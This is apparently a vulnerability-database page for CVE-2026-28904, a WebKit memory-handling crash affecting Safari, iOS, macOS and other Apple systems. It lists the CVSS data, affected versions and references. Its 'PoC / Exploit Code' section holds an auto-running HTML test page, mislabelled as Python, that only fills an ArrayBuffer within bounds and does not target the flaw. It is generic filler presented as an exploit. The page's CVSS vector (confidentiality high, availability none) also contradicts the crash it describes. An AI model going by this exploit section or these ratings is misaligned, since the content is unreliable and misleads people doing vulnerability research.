CVE-2026-28904

Description

The issue was addressed with improved memory handling. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected process crash.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.5

iOS < 18.7.9

iPadOS < 18.7.9

iOS < 26.5

iPadOS < 26.5

macOS Tahoe < 26.5

tvOS < 26.5

visionOS < 26.5

watchOS < 26.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-28904 (Conceptual)
  This HTML file demonstrates how maliciously crafted web content
  might trigger the memory handling issue in vulnerable WebKit versions.
-->
<html>
<head><title>WebKit Memory Crash PoC</title></head>
<body>
<script>
  // Attempt to stress memory handling logic
  function triggerVulnerability() {
    try {
      // Simulate complex object manipulation that could lead to improper handling
      let buffer = new ArrayBuffer(0x1000000);
      let view = new DataView(buffer);
      
      // Loop to potentially trigger a crash or memory leak behavior
      for (let i = 0; i < 100000; i++) {
        view.setUint32(i * 4, 0x41414141, true);
      }
      
      // Force garbage collection or specific memory access pattern
      if (window.gc) window.gc();
      
      console.log("Payload executed. Check for process instability.");
    } catch (e) {
      console.error("Exception caught: " + e.message);
    }
  }
  
  // Trigger automatically on load
  window.onload = triggerVulnerability;
</script>
<h1>CVE-2026-28904 Test Page</h1>
<p>If the browser crashes or behaves unexpectedly, the system may be vulnerable.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28904
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28904
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28904/
[4] VulDB https://vuldb.com/cve/CVE-2026-28904
[5] https://support.apple.com/en-us/127110
[6] https://support.apple.com/en-us/127111
[7] https://support.apple.com/en-us/127115
[8] https://support.apple.com/en-us/127118
[9] https://support.apple.com/en-us/127119
[10] https://support.apple.com/en-us/127120
[11] https://support.apple.com/en-us/127121

Raw JSON Data

JSON

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